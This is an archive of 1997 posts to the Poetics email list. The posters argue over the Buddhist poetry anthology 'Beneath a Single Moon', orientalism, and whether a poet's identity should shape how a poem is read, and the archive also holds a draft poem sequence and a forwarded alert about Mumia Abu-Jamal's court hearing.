Mark Weiss zeros in:

<< For me there's a certain unreality about this thread . . . >>

aha, you're catching on. Brink and Johnson are (according to a highly classified bio-FBI multiple-lives report) *both* incarnate budhisattvas, are deeply in cahoots, and they're trying to pull off this facade of a serious & heated argument (but watch for crinkles telltale smiles) -- for what one would presume to be some manner of instructional purpose.

<< I do think, however, the discussion would be helped if we were provided with a list of Asian-American Buddhist poets who could have been included in "Beneath..." >>

I for one take Johnson at his word when he confesses that no such poets were brought to his attention. BTW, it's been a long time since I perused the volume in question, but according to my best recollection, it's notable how "unorientalist" much of the writing proved to be -- I mean, lacking in some sort of faux-atmospherics. (Of course every reader has their own atmosphero-meter . . .) Not much haiku in their either, for that matter..

(Disclosure: I'd never heretofore tried my hand at the form myself, till I saw those spam-ku, and just couldn't help meself.)

cheers,
d.i.

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791. **Kali Tal**

Re: Orange Popsicle

Thu 26 Jun 1997

> *Am I the only one who reads those magazines just for the stanzas of bio description alongside each model's picture? Invariably satisfying -- a sublime genre --*

Tammy, 22 years old, 32-22-36, is an aspiring poet as well as a model. "Writing poetry helps me get more in touch with myself," she says. "And guys really like it when you give them a poem." When she's not frolicking at the beach, Tammy can be found in the New York Public Library, where she spends hours each week reading the _Cantos_.

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792. **Pritchett,Pat**
Re: identity/poetics
Thu 26 Jun 1997

David Bromige has been kind (and canny) enough to throw down the gauntlet - or rather, let drop the feather - re: my undeclared position vis-a-vis multiculturalism. Not that it counts for much! But I accept the invitation to think through an issue I've not devoted much coherent thought to (uh oh, some are saying...). I've always been more or less a formalist when it comes to reading poetry - the identity of the poet factors into my reading, if at all, only secondarily in relation to the text itself.

But any discussion of identity & poetry begs the question: when we talk about identity do we mean merely personality and the personal experiences that stand behind or under the shaping of the text? Or do we mean the formation of cultural and political constructs at large - distinct codes imposed on us or written by ourselves - by which we read each other in the world and the ways in which these read themselves into the text's creation? If the latter, then much is to be gained from looking at a work this way, though I reject the idea of looking at this way exclusively - or exclusively in any way at all. The text, or poem, afterall, is a kind of alternate identity fashioned from odds and ends. Identity is not synonomous with existence, only with context. For some, there appears to be no difference btwn these. For me, there is. Unfashionable, to be sure, and likely even untenable.

I do think, though, that discussions of identity have greatly enlarged and expanded what we mean by the process of reading. And I confess since this isn't really my beat, I'm woefully not up on the most current thinking about identity theory in literature. No doubt this has to do with my "identity" as a member of the ruling class - white male heterosexual. (Dodie Bellamy last night jokingly told me a guy like me could never get a grant!) I don't think the value of an idea or a work rests solely on the personal behavior or outlook of its author.

What it comes down to for me is reading a poem for its imaginal power - how has the poet shaped a vision of the world with a view to re-imagining it, including refining or redefining accepted notions of identity? Identity by itself is overvalued - it contains a kind of hidden arrogance and blindness. Especially tribal identities - by that I mean, costly self-aggrandizing allegiances to family, city, country, religion, gender, race, religion, politics, sports team, whatever. Live by the identity, die by the identity - it seems a narrow and restricted way of defining yourself.

BUT - for so many whose identities have been crushed by the juggernaut of white Western racist imperialism, reclaiming identity (which is really reconstructing it, often along revisionary "heroic" lines at first) is both necessary and

admirable - and one hopes, not merely a retreat into arthiritic politics no different than that of one's oppressors. But it's also a mistake, to me, of reading primarily through the lens of identity. I guess it's really a question of picking/creating the lens you read the world through and that does indeed have a lot to do with one's personal situation.

But a poem cannot be limited or reduced simply to the issue of its author's identity, even if that is the author's overt intention. As a product of the still and always all too mysterious commerce between the known and the unknown in a writer's psyche, a poem - as a container of psychic energies - as an unexampled formulation of the essential sense of surprise arising from the intersection of the known and the unknown ("I must count on both," sez Valery), from the dialectic of inside and outside, identity and difference, self and Other, defies all attempts at narrow categorizations and readings.

Patrick Pritchett

From: David Bromige
To: POETICS
Subject: pearl poet, french theory of apr editors, kevin & gloria, class
Date: Thursday, June 26, 1997 10:45AM

Pat Pritchett (place in the multicultural soup as-yet undeclared) does a fine job with Kevin's reading & Gloria Frym's. Keep us posted, Pat! Salaam. David-the-PacRim-Cockney (class: working-climbing-into-lower middle/middle, subsequently become declasse thru all that reading & being allowed to pass as a poet, but you can still tell by the way he handles the patie de foie that his origins are the kind he has to be proud of, since noone else was).

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793. Bob Grotjohn
Re: Buddhism and Racism
Thu 26 Jun 1997

Mark Weiss wrote:
>
> For me there's a certain unreality about this thread, perhaps because of my
> own ignorance. I do think, however, the discussion would be helped if we
> were provided with a list of Asian-American Buddhist poets who could have
> been included in "Beneath..."

Lew made such a list, if "Buddhistic poetry" and Buddhist poetry are the same things:

"When one considers the relative obscurity of some of the poets included in the book [BSM], one wonders how it was possible not to have known of the Buddhistic poetry of such writers as Inada, Al Robles, Garrett Kaoru Hongo, Alan Chong Lau, Patricia Ikeda, and Russell Leong" (from Lew's comments on the anthology in _Premonitions_).

Other than Inada's, I don't know the poets' work very well, and I am not sure exactly what makes poetry either Buddhistic or Buddhist, so I can't get the discussion much further. Ikeda's poems (551-555) and Leong's (542) in _Premonitions_ may be worth a look for starters.

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794. **Judy Roitman**

Re: Buddhism and Racism

Thu 26 Jun 1997

You don't like Snyder's stuff. You question haiku in English. All quite reasonable positions (sorry, all you donut & coffee haiku folks). But I think you are conflating very different poetics in thinking that BASM poets are all trying to imitate Japanese --- and why the emphasis on Japan? --- models. Buddhist (and not only Zen --- there are a lot of folks practicing other Buddhist styles in BASM) influences on American poetry go far deeper than Orientalist imitations. The relations among language, mind, and world -- which much of Buddhist practice focuses on -- are central issues in poetics. It is this interplay --- which has no single, "correct" manifestation --- that is interesting here, and that might reasonably call for an anthology.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | memory fails Lawrence, KS 66045 | these are the days." [redacted]
| Larry Eigner, 1927-1996

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795. **KENT JOHNSON**

identity/poetics

Thu 26 Jun 1997

Kali:

This exchange is very interesting, certainly very intense. I wanted to ask you a question publicly that you'll remember I asked you back-channel a few days ago. It was in reference to something you said in a post entitled "Reading Kim

Dawn." Dodie Bellamy had raised a suspicion of sorts regarding Dawn's gender, and you replied:

"I'm also put off by Dodie's later attempt to undermine Kim Dawn's *author*ity by attempting to cast doubt upon her claim to be female. (Does it actually matter if KD is female? How would we revise our interpretation if she were a he?)"

When I asked the other day, you ageed that there at least seemed to be a contradiction between this and your most recent arguments, and you graciously offered to explain it sometime if I was interested. Because the whole question of authorial identity is key in this exchange you are having with David Bromige and others, and because I read you now to be saying pretty emphatically that an empirically verifiable author with an empirically verifiable history is crucial (lest we fall as readers into a kind of "pornographic" largesse, where we make of the author a mere object for our fantasies), I was thinking that now would be a good time to ask you to clarify the apparent contradiction.

Is your position, perhaps, that it is a matter of context? Does the contradiction imply that you feel that for some groups, classes, ethnicities, it is necessary for authors to have a "real," traceable identity, but in other cases this is not necessary? Or are "transgressions" of normative understandings of the author's function (i.e. where the name of the "author" is the name of the writer) improper in all cases? The questions Susan Wheeler asked earlier today strike me as very relevant to all this. I'd like to ask if you could try to address some of them in your answer. Thanks.

Kent

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796. **charssmith**

Re: China Camp

Thu 26 Jun 1997

In a message dated 97-06-25 23:59:37 EDT, you write:

<< first re: Snyder's poem-- China Beach is in San Francisco. It is so named because Chinese fishermen/residents of the city would/were allowed to fish there. >>

Snyder claims "Canyon Wren" was written at China Camp on the Stanislaus River, flowing west out of the Sierra Nevada. It is now submerged under the waters of the bitterly contested New Melones Dam, the (hopefully) last of the large-scale multi-purpose dams built in California. Similar names abound throughout the foothill "gold country," testimony to 19th C labor practices. Why, it's just upstream from Negro Jack Point.

Charles Smith

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797. KENT JOHNSON
a next to last word
Thu 26 Jun 1997

The past few heated days have been some of the most interesting I've experienced on the list--in part, admittedly, because I've had a stake in the Buddhist anthology discussion which has had some very intelligent contributions (well, hey, this is the Poetics list). And I've certainly been heartened that a number of people have come in and spoken up in reply to some of the unecessary and ill-founded assaults against _Beneath a Single Moon: Buddhism in Contemporary American Poetry_.

I intended to unsub today (need to tomorrow!) before leaving town, and so I was hoping that my mini-history a couple days back about BaSM's making and its editorial criteria would calm Dean Brink's indignation and perhaps lead, if not to an open and sincere apology, then at least to his temporary practice of some dignified silence on the matter. _Especially_ since he has now been led to admit that he made all of his angry and self-righteous accusations without having even read the book (!)-- a rather stunning and pathetic admission, in my humble opinion, particularly given the specificity and gravity of the evaluations Mr. Brink was making against not just me, but also against the poets in the collection.

Now, it's apparent, no question, that Mr. Brink is intelligent and knows quite a bit about his field. But it is also now apparent to most, I think, that on this claim of the anthology's "blatant" and "bad faith" promotion of "Orientalism", "candy Buddhism", "New Age" type poetry, and intentional "exclusion" of Asian Americans, he jumped without a parachute off a towering cliff of assumptions. People like Hoa Nguyen, David Israel, George Thompson, Judy Roitman, Dale Smith, and others (forgetting, but trying to remember names off top) have pointed this out in ways better than I could.

But, rather incredibly, Mr. Brink is still in a snit, trying to make his way back up the cliff, opening now with a couple of amicable feints, but then spurting charges again and calling on me to confess my misdeeds and honestly explain how I could have possibly constructed an all-Caucasian anthology. He says (before spiraling away on a tangent about the "orientalist" sub-text of American haiku) that I appear to be just "making up excuses" rather than really "explaining" my editorial practices.

Thus I would, with a sigh, like to propose the following to Mr.Brink: Go find the book, read it, think about it, and then come back and make your complaint if

you still have one. But for goodness sakes, man, give yourself some space and start over fresh! You've quite simply made a bad go of it this time around, and you've been downright abusive toward the integrity of a number of good people in the process. (Or if you want, you may post me back-channel toward the end of next month when I get back from other parts--and post me especially, please, if--in the spirit of Mark Weiss's sound advice--you have specific Asian American poets with Buddhist practice you could suggest for a possible second edition (Zen, Theravadan, Tibetan, Pure Land, the anthology is purely non-sectarian.)

I need to withdraw now. But before doing so, I'd like to point out that Hoa Nguyen directed a series of very fine questions to me at the end of her post a couple of days ago. With apologies to Hoa, I'm unable to take them on at the time, but I wonder if they might be taken up by others who could in any case provide more thorough and suggestive answers than I?

So long until August!
Kent

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798. **Judy Roitman**
Re: Buddhism and Racism
Thu 26 Jun 1997

> *For me there's a certain unreality about this thread, perhaps because of my own ignorance. I do think, however, the discussion would be helped if we were provided with a list of Asian-American Buddhist poets who could have been included in "Beneath..." Hey, then we could find out if they're guilty of orientalism. (Remember, it's Jews who made "Fiddler on the Roof" a hit)*

And I just learned on NPR that scat singing owes something to davening and all that Yiddish biddybiddybombom stuff.

Cultures just don't seem to be able to stay in their defined places, do they.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | mem-
ory fails Lawrence, KS 66045 | these are the days." [redacted]
| Larry Eigner, 1927-1996

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799. David Israel
Re: Orange Popsicle
Thu 26 Jun 1997

From Kali Tal (commenting on Aldon Nielsen):
<<
>Am I the only one who reads those magazines just for the stanzas of
bio
>description alongside each model's picture? Invariably satisfying -- a
>sublime genre --

Tammy, 22 years old, 32-22-36, is an aspiring poet as well as a model.
"Writing poetry helps me get more in touch with myself," she says. . . .
>>

Somewhere amidst Andre Codrescu essayish book, The Disappearance of the Outside, he quaintly (I might say winkingly, but that's I guess not in vogue today) allows as the central construction of the poet lies not in the (mere) poetry, but rather in that crucial fiction: the bio-notice . . .

this also remends of an opera by Robert Ashley (an in-progress segment of which played in Merkin Hall, NYC some years ago); -- Ashley's sci-fi scenario involves a figure (named something like "Bob"?) who, being an extraterrestrial investigator of earth civilization, gives (in recetativ) brief, verbal-snapshot reports on various of the folks in his immediate (maybe Sunday brunch-like) surround. These (strangely epiphanic) reports are presented in the rhetorical form of personsals-ad-style notices ...

d.i.

p.s.: on personal note, might one be correct in supposing Kali Tal to be of South Asian extraction? The Dark One's Rhythm wd. be a tentative (& for that matter an amateur-orientalist) rendering of the name. Just curious (now that we've learned you're actually no Yale professor ...)

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800. David Bromige
Idenity of the poet/Hey! other mind here
Thu 26 Jun 1997

Since a gypsy assured my Mum & Dad that I was born to trouble as the sparks fly up, I was gratified (again) on her account when I logged into the List today. So much so, in fact, that I had to question my motives in posting my initial response to this matter of "identity of the poet": was I unconsciously being more provocative than was called for? Had it been I myself stepping over the line who stimulated these howls of execration masked as rational argument that I

now beheld? Had I mooned the List, was that why one of the Listlings wanted to go on so long about me jacking off?

Well, I've been back thru the correspondence & it does appear to me that I covered my ass. "Yeah, sure, it can be fun to observe the timidities encoded in Eliot's poetry, & then fit them in with the fact that he had a double hernia which he never got fixed. And, sure, one can use such details to elucidate meanings not otherwise likely to surface." This is far from a blanket dismissal of biographical information.

Before I continue, a couple of sidebars. Yes, Kali, I am inventing you from your words & only your words, since I know nothing else about you. You might be the President of Burma or Harold Bloom's T.A. for all I know. I know you're on the list, I know you're in Yale, or posting therefrom (but this I only noticed today), but that's all, so, no, it's just your words to which I am responding, my creation of a Kali Tal solely from your words. If you don't like this creation, maybe you should take another look at your way of putting things. Perhaps at times they do not reflect the real you, the real you who, we are told, "make[s] ethical and moral judgements based on a core set of beliefs about the intrinsic value of human beings and our place in the world." You know, I may be old-fashioned, but I'm a "show-me" kind of a guy. I don't feel that my intrinsic value as a human being means much to someone who reads me as carelessly as you do, & who invites the List to picture me coming into _Hustler_.

Maybe you aren't so simply that decent, ethical, moral being you'd like to be. Don't you think you went on a little *long* about male masturbation & men's objectification of women? When someone goes on a little *long* with their analogy, I sniff Subtext. What is this inexplicable commitment to keep plugging away on this parallel, I ask myself, reading you with my own continuing investigation of my own subtextual contradictions. Continuing to create Kali Tal from what her words don't say but do indicate, I might find a person who hasn't worked through her attitudes towards human sexuality.

But let's not go that far. You're right : male masturbation, when done with graven images, is wrong. Some of the means by which we poor benighted devils achieve it, are laughable, to cry over, deplorable, despicable, and, no matter what a man might tell you (or no matter that he's telling it to you, & not another woman, or a male buddy), ultimately unsatisfying. You know that's right because they keep trying again & again. Like, hmm, that isn't human sexuality in the larger, non-auto-erotic, picture?

So male masturbation is wrong, & therefore my proposition & conjecture about the poem? Wrong also.

(Do you really think your words say only what you want them to say?)

So, onward! Does a poet really believe her/his words only say what s/he wants them to say? Possibly, but s/he is doomed to disappointment. Sure, being a poet, privileged in that sense (now that I've learned it's okay to be privileged), as s/he is in some communities still, privileged on account of a differing degree of vision, a greater gift with words, there might be less margin between intention and achievement, between intention & text. But margin, by the nature of human being & language, there is going to be. Therefore I decided I wasnt going to sit on my ass until all the checkbooks had been checked & all the footnotes published. I was going to play reading a poem as it lay.

When I first heard Mick Jagger sing, I didn't know where he came from. When I first read Robert Creeley, I didn't know he had only one eye & a lost father. When I first read Rae Armantrout, I didn't know that poet was a woman. But their words went in, in like electrical currents, they met with a recognition in myself of something that was already waiting there, awaiting articulation, & they caused something to get up & walk & that is the new.

When I first read Robert Creeley, I didnt even know that he was part of something called "Black Mountain" or "The New American Poetry." I didn't know he was somehow part of the New England Tradition in Literature. No, but I did know he was a big fake!

Only there was something that kept me coming back to his poems, those early poems, I wanted, you know, to expose his fakery to the light of day. But in the process, I came under their spell. I saw how terrific they were.

And all this time, I had a Creeley inside me, one not only of my own creating, because if the mother was me, the father was him, RC, author of said works. And let me stay with this family analogy (I do have a hangup about families). RC the guy who gets his laundry done in New England or upstate NY or out in Albuquerque, he's like the *grandfather* of the poems I was reading. If RC-the-poet is their father. Because, RC the person, once having written & made public those poems, cannot wholly control their reception...any more than a parent can wholly control what other people do with their kids. Their grownup kids. He cannot be identical with RC the father of the poems that were gestating in me, becoming ready to be read by me. RC had a poet-part, RC, a poet-offshoot, who wrote poems that RC the grandfather might well have not cared to have attributed, were he not the generous & freedom-loving parent he is. ("That boy of mine bin putting out stuff in public again about fucking & nothing & love & all them "u" words?...Oh waal, what th hell, cant stop em now can ya?")

What I am getting at is, still, how the identity of an author is constructed. Consider the following passage :

"The first poem that came through me was about the subway system. I say that the poem 'came through me' because I had no clear idea of what I

wanted to say or how I was going to say it. Everything happened suddenly. I started writing and then automatically began thinking in a different way about words, meanings, repetitions, the sound of language. It rushed out faster than my typing ability could deal with, but I kept at it, figuring I could unscramble it all when it was all over....

It was as if I were singing, speaking, and acting all at once. An inner voice took over, snipping off lines where i felt they ended, extending them when it felt the voice needed more room."

This is familiar stuff, although the experience of poetic seizure or possession is not always as clearly laid out as here. in the eloquent american of David Meltzer's recent autobiography in Gale Research's _Contemporary Authors_ series.

So, what about this? In such a fit, a poet might say all manner of things s/he in his/her social persona might wish to disclaim, to deny, in the name of morality and ethics, to suppress....news from nowhere concerning human being, you know. Jack Spicer said it came from Mars, this kind of information, said the poet was a radio that picked up all manner of messages beaming through. He was being mataphorical, yup, but to what degree? What if (and everything I say should always be prefaced by this phrase) a poet is a sort of transmitter, open at times to messages past present beaming in from all over? The radio does not know what it transmits. Now let us imagine the radio.

So who is to know what it transmits, if not us, readers, one by one by one? Stephen Elwood is correct, I am arguing for the primacy of the reader; but he is incorrect, seems to me, when he sees this as something different from the primacy of the poem (which was what I wrote that i was arguing for). How is the poem ever going to be differed from the reader? By which privileged reader will other readings be rendered inferior?

Of course, the text is there read it or not,m its on a shelf in the stacks covered with dust, but the moment an eye lights on it,interpretation has to begin. "Hang it all, Robert Browning, Or my Sordello, or yours?" Now, I can understand why somebody would feel that she has a better shot at a fuller or more correct interpretation if she is armed with what all the authorities say about a poem, about all the biographies can suggest about a poem--all the part of reading I do not dismiss, but welcome as "fun... & possible elucidation"--but when we recall descriptions of poetic seizure like that of Meltzer's above, we might want to acknowledge that in such states, a poet accesses parts of (his) humanity not otherwise open to her/him, parts that are contradictory as it were, to his/her life otherwise...in which case, the "life" supplies scant support for interpretation. And in which case, a reader, though ill-informed as to biography, critical approaches, & etc, might, with her humanity, create a more accurate figure of

the poet of this particular poem, of the real human being who somewhere else at some other time made this poem by whatever means however leaned-in on by the style of the times by history by how books were at that time produced--she might, & if she does, who's to gainsay her?

It is in this light that my (granted, somewhat facetious) remark about Wallace Stevens being not an Insurance Lawyer but a South American diplomat, was always waiting to be apprehended. The escaped soul of the man whose marriage sounds like hell, one no doubt of his own making, or choosing anyway, flew off from Hartford, Ct. & was a parrot in Brazil for a spell, squawking these unlikely measures, treated as dictation by the future Ambassador to, uh, say France.

I thought I detected a certain Animus in Kali's remarks, so let me admit to a certain degree of Anima in my own. There's a troubling belief in transcendence, in soul-stuff, howbeit materialist, hovering around my confessions of how I read, & that can be irritating to people who have allowed themselves to be convinced such is impossible, and that all can be accounted for, given the will & enough time. But the love of poetry stems back to childhood, people regress to the accents of the place where they grew up when they read their poems aloud, the persistence of childhood with the belief-systems then possible makes itself part of the poem. Or would you rather read a tract or a postion-paper? In the place sacred to the poem? And if a poem is not a sacred act, what is it? And if it is an act, then it is an act of reading-as-though-writing, every time. I read-write the Stevens' poem with my Wallace Stevens.

Now, it's funny to hear that he was knocked down by Hemingway. Its funny because its so inappropriate. Its funny like a mattress on a bottle of wine. It hasnt made much dent in the feelings I get when i read Stevens poetry.

For me, it has always been the seduction by the poem that has been primary. Sure, then I want to know all I can about the author. But this is a sort of pornographic interest, in the sense that pornography is what you know already, but cant stop spending time with. And we build worlds out of this pornographic impulse. And it ceases to seem pornographic. But from the *point of view of the poem*, it strikes me so again. The poem says "You knew all this already concerning my origins, knew it but didn't know you knew it, but now you have found it out, it either supports what you thought when you first fell for me, or it contradicts it--in which case, you are either going to dismiss the contradictions as irrelevant, or give me up. Go ahead, give me up. Theres plenty more where you came from. Go on, try to forget me. I voted for Chamberlain. I screwed goats. 'Beauty is Truth' my eye! Bye-bye!"

Susan Wheeler reiterates Marjorie's question about a reader being duped. (I still have to read Marjorie on Yasusada, so excuse me if I repeat her argument). What is it, to be duped by a poem? Something, that is, of which one is, by virtue

of reading, a co-creator? It is to be fooled by oneself. And, I agree with Kali, this is something we can do, when we fall in love. "You were only foolin, while I was falling in love, It's a story as old as Adam & Eve, I was making love while you were makin believe". "Hormone-poisoning," Kali terms it, as though hormones were no part of our bodies but foreign substances introduced by ill-wishers, were not part of our humanity but inflictions from without.

Poetry is the theory of heartbreak. It wouldn't be very poetic of it not to include the whole mimetic range of possibilities then, being duped, being swept of our feet, being preyed upon, being harassed, being rendered ecstatic, breing massaged, being tickled pink, being amused, being brought down,being persuaded that hope dies last, & noone to blame but ourselves at the end of the line. "I fooled myself with kisses, I tried to stop thinking of, but you were only making believe (Kent), while I (APR) was falling in love."

I know it was hard on me when I learned that "Robert Creeley" was really, like they say, Michael Palmer & Tom Clark. But I still cant rid myself of this of his poems, this presentation of which I dedicate to Kali Tal :

"Think if
understanding is
what you
had thought

of it, in
it you think
a picture
comes and

goes, re-
flected there
large faces
float but

no harm comes
to the sleeping
princess
ever."

I think it withstands in my meory the typo of one of my students, which put an 'e' in the place of an 'a' in the 11th line. So you can forget that too. David

↑ Index

801. **Stephen C. Ellwood**

group action

Thu 26 Jun 1997

This is a set of poems which are to be printed in a little artist's book I'm working on, called group action. I am very uncertain about them, as it's been years since I have written poetry.

They are the chronicle of a sad ending.

Anything anyone can provide (tear it to shreds, but PLEASE respond, someone) in the way of critique would be so greatly appreciated.

1)

Sometimes it seemed

we were the envy of everybody

threeway action, a place right downtown, money, all

the kinds of abundance.

We were also remarkably stylish. Beautiful.

Desired.

Then the cup would dump and the

cats would go hungry cause

none of us would get out of bed.

They'd crawl all over us in tears,

"Daddy, I'm hungry, Daddy, Mommy, wake

up!"

They could get mean when four o'

clock rolled around and we hadn't

stirred. We were obstinate, even with them.

You should've seen the way we'd

treat each other. Sometimes you say it's

Familiarity that breeds contempt. With us it was

much uglier. It was a compulsion.

When there's three in a bed it's inevitable that

somebody sleeps in the middle.

We never resolved it. We just started getting

paid for it.
Now the day has passed and I
can't say I'm sorry to see an
end to the squabbling. It's just the
Glamour I miss, the way it looked to
guests:
Every table in the place loaded
down with white tulips, which
incidentally, smell like the
come of middle aged men (a
scent with which I'm un
comfortably well aquainted.) and
the tall walls bare and the
mirrors everywhere. Two
cats, two males, and one fine
white lady throwing up in the sink. No ones
getting off in there, no ones feeling
good. Not even okay but I forgot
I'm not talking about that, this is how it
Looks. Each srface is a smear of
pages, drawings, missives back and forth
talk about articulate,
these three sure do. And books and
photos, head shots and full-body,
Incidental dishes, crumbs, and an
illusion of cleanliness thanks to the
special lighting system de
vised by one, executed by another,
merely appreciated by me.
I'm not handy. I believe I contributed something, though.

I doubt they could've
pulled it off without me. I'm like a
wire. I conducted.
2)
To Stephen:
I have every intention of posessing you through
memory, and distorted memory at that.
I have every intention of reinventing you as
cruel, barren, spoilt, tragic, sexually
driven, and then, when it suits me,
I'll alter the lighting and imagine you were
lovely, maligned, adoring, terrified.
Regardless, you-as-you-are-to-me will be lost to you forever (a real
loss) and
you-as-you-are-to-me will be entirely
in my hands. I am grateful to be free of the
ugly reality of you (didn't love me, didn't feel Posessed by love), and
gratefull to be
inhabiting a city
whos contents
are my whims.
EVD
I'm about to get logged off.
Thanks to those of you who are still reading.

↑ Index

802. **David Israel**
(no subject)
Thu 26 Jun 1997

David B:

> *Charles, China Beach is in San Rafael, N of SF. Or one of them is.*

Okay, but: Gary Snyder's poem refers to "beach[ing] at China Camp" -- doesn't reference a China Beach. At least as quoted (per my memory) by Dean Brink (who I think must've had it right). And the ref. to miners seems in keeping with the China Camp locale, probably.

d.i.

↑ Index

803. **David Bromige**
china beach
Thu 26 Jun 1997

Charles, China Beach is in San Rafael, N of SF. Or one of them is.

On another matter, as I just b-c'd Pat Pritchett, Dodie's was no joke.

David

↑ Index

804. **Pritchett,Pat**
Re: china beach
Thu 26 Jun 1997

Tis true, tis true about Dodie's "joke" - a remark shared with a laugh by us both because of its obvious truth. But I'm not complaining. Hell, I'm not even looking for a grant. I have no emotional investment in the matter. (Or maybe it derives - talk about class background - from my parent's depression era "no hand outs" attitude - I'd be shocked if anyone ever gave me money to write. This is not a laudable attitude - one rather to be overcome). The subject came up by way of her explaining the inner machinations of SPT vis-a-vis cutbacks from the California Council on the Arts and how she tried to get a grant for mulitcultural writers, was rebuffed, but managed things with a clever end-run, good for her (and them) I say.

Patrick

From: David Bromige
To: POETICS
Subject: china beach
Date: Thursday, June 26, 1997 4:15PM

Charles, China Beach is in San Rafael, N of SF. Or one of them is.

On another matter, as I just b-c'd Pat Pritchett, Dodie's was no joke.

David

↑ Index

805. Mark Wallace
KOJA magazine?
Thu 26 Jun 1997

If there's anyone on the list who could backchannel me with information about a magazine called KOJA, ed. Michael Magazinnik, I would greatly appreciate it. Apparently there is at least one issue of it in existence?

Mark Wallace

/----------\ |
| | [redacted] | | GWU:
| | http://gwis2.circ.gwu.edu/~mdw | | EPC:
| | http://writing.upenn.edu/epc/authors/wallace | |
_____|

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806. Mark Weiss
Re: Buddhism and Racism
Thu 26 Jun 1997

Interesting. Did they mention the path of transmission? (oy, sounds like a virus)
At 03:14 PM 6/26/97 -0500, you wrote:
>>For me there's a certain unreality about this thread, perhaps because of my
>>own ignorance. I do think, however, the discussion would be helped if we
>>were provided with a list of Asian-American Buddhist poets who could have
>>been included in "Beneath..." Hey, then we could find out if they're guilty
>>of orientalism. (Remember, it's Jews who made "Fiddler on the Roof" a hit)
>>
>
>And I just learned on NPR that scat singing owes something to davening and
>all that Yiddish biddybiddybombom stuff.
>
>Cultures just don't seem to be able to stay in their defined places, do they.
>
>
>
>----------
>Judy Roitman | "Whoppers Whoppers Whoppers!
>Math, University of Kansas | memory fails
>Lawrence, KS 66045 | these are the days."

>[redacted] | Larry Eigner, 1927-1996
>----------
>
>

↑ Index

807. **Aldon L. Nielsen**
Re: Hoping to see Dodie and Patrick and Kevin tonight
Thu 26 Jun 1997

I actually have gotten a couple of grants, but I think it's because the grantors assumed I was a white male --

↑ Index

808. **Pritchett,Pat**
Re: Hoping to see Dodie and Patrick and
Thu 26 Jun 1997

Hey don't get me wrong - I'd love a grant.

The Pseudo-Araki-ite.

From: Aldon L. Nielsen
To: POETICS
Subject: Re: Hoping to see Dodie and Patrick and Kevin tonight
Date: Thursday, June 26, 1997 5:25PM

I actually have gotten a couple of grants, but I think it's because the grantors assumed I was a white male --

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809. **Stephen C. Ellwood**
Re: long article up for criticism if yr up for it!
Thu 26 Jun 1997

On Tue, 24 Jun 1997, henry g wrote:

If poetry is promoted for its use-value
> alone (empowerment) the tendency while empowering also blunts the critical
> edge (or one of its edges, anyway)...

Could you explain this for me a bit? The use value thing, I mean. It seems interesting and important but I don't fully grasp what it is/you assert it is.

> *My own view is that poetry has this double-edge, coming from experience - lived, felt, authentically rendered - on the one hand, and coming, on the*

> *other hand, from the sky. I mean this in all seriousness. Criticism/ inspiration = freedom.*

This is good to read. I agree and I find it liberating, as a writer, to utilize that function of my mind/heart, the function of allowing the sky in.

I'm talking about the "emotion of multitude" as
> Yeats called it, or more profoundly, Whitman's cosmic inspiration -
> "I exude my flesh in eddies & jags" or however it goes - or Coleridge's
> Imagination as the "I AM" - to me this is the linch-pin of both unity
> & individuality. Art shares this "representative" universality in expressing
> particular experience & helps make possible the graftings & cross-overs
> on Kali's "grid" that in my view are the only hope, unless we all want to
> live in the regional archives of our own true memoirs. But you have
> to experience it. It comes from the sky. The sky is universal enough
> for an earth-creature (you can throw in a few stars, too, if you want -
> rhymes with Mars, jars, and also Lars).
>
> An awareness of "where the writer's coming from" sure would reduce the
> level of mediocre art; it would also make appropriations, masquerades,
> & imitations (not, in my view, always inappropriate) more effective.
> In fact most writers' personal data is now available in full on the internet.
> Mine was there even before I got published. See http://www.fbi.nerd -
> you'll find yourself there too.
>
> - Henry Gould
>
> Jack Spandrift's new CD, "Byron Hello Mercury", is available on the
> Aliens R Us label. Throw $10. up in the air & wait for the light.
>

↑ Index

810. Mark Weiss
Re: Idenity of the poet/Hey! other mind here
Thu 26 Jun 1997

David--I'm assuming I read correctly when I notice irony in the following. I'm not at all sure that those you address are equally capable of the reception of same, so I'll be direct: why should masturbation, or any victimless human pleasure, be yielded to the armies of darkness?

You're right : male masturbation, when done with
>graven images, is wrong. Some of the means by which we poor benighted
>devils achieve it, are laughable, to cry over, deplorable, despicable, and,

>no matter what a man might tell you (or no matter that he's telling it to
>you, & not another woman, or a male buddy), ultimately unsatisfying. You
>know that's right because they keep trying again & again. Like, hmm, that
>isn't human sexuality in the larger, non-auto-erotic, picture?
>

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811. Mark Weiss
Re: Orange Popsicle
Thu 26 Jun 1997

Graeco-Dutch "beautiful speech?" or Hebrew "a kind of bread?"
>p.s.: on personal note, might one be correct in supposing Kali Tal to be
>of South Asian extraction? The Dark One's Rhythm wd. be a tentative
>(& for that matter an amateur-orientalist) rendering of the name. Just
>curious (now that we've learned you're actually no Yale professor ...)
>
>

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812. Poetics List
*(Fwd) !*EMERGENCY RESPONSE NEEDED FOR MUMIA NOW!! (fwd)*
Thu 26 Jun 1997

---------- Forwarded message ----------
Date: Thu, 26 Jun 1997 15:56:08 MST7MDT
From: Christopher Alexander <[redacted]>
To: [redacted]
Subject: (Fwd) !*EMERGENCY RESPONSE NEEDED FOR MUMIA NOW!!

alright, I disappear for months, then resurface just to forward a message: give me shit if you want, but this is important. Chris

------- Forwarded Message Follows -------
Date: Sat, 21 Jun 1997 22:27:27
From: Marpessa Kupendua <[redacted]>
To: [redacted]
Subject: !*EMERGENCY RESPONSE NEEDED FOR MUMIA NOW!!

INTERNATIONAL CONCERNED FAMILY AND FRIENDS OF MUMIA ABU-JAMAL Press Contact Numbers: [redacted] and [redacted] - Pam Africa Fax: [redacted] and [redacted] - Susan Burnett

JUNE 26TH IS THE DATE OF THE LAST HEARING IN MUMIA'S BID FOR A NEW TRIAL

We believe it will be Mumia's FINAL COURT APPEARANCE for a very long time. THE COURTROOM must be **PACKED** WITH SUPPORTERS, THIS IS *EXTREMELY URGENT* AS ALL OTHER APPEALS HAVE BEEN THROWN OUT OF COURT AND THE TESTIMONY THAT PAMELA JENKINS IS PREPARED TO GIVE IS **CRUCIAL** TO OUR FIGHT.

There will be an all day demonstration outside the courtroom and we need you there to show the PA Supreme court that

THE WHOLE WORLD IS WATCHING
WE WILL NOT ALLOW MUMIA TO BE RAILROADED AGAIN BY JUDGE ALBERT SABO.

